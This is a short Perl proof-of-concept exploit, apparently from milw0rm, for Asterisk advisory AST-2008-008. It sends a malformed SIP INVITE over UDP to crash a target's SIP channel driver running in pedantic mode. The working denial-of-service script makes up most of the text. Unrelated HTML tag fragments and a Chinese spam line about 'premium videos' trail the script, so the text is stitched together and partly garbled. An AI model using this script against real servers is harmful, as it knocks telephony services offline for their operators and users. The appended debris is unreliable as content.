#!/usr/bin/perl -w ############### # asterisk AST-2008-008 # by armando.j.m.o@gmail.com #AST-2008-008 - Remote Crash Vulnerability in SIP channel driver when run in pedantic mode use Getopt::Std; use IO::Socket; use strict; my %args; getopts("h:p:", \%args); if (!$args{h} || !$args{p}) { usage(); } my $sock = IO::Socket::INET->new( Proto => 'udp', PeerPort => $args{p}, PeerAddr => $args{h}, ) or die "Could not create socket: $!\n"; $sock->send('INVITE sip:1234@'.$args{h}.' SIP/2.0\n CSeq: 2 INVITE') or die "Send error: $!\n"; sub usage { print STDERR qq{ $0 Usage: $0 -h -p -h = host -p = port Example: $0 -h target -p port }; # milw0rm.com [2008-06-05]

    <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    这里只有精品视频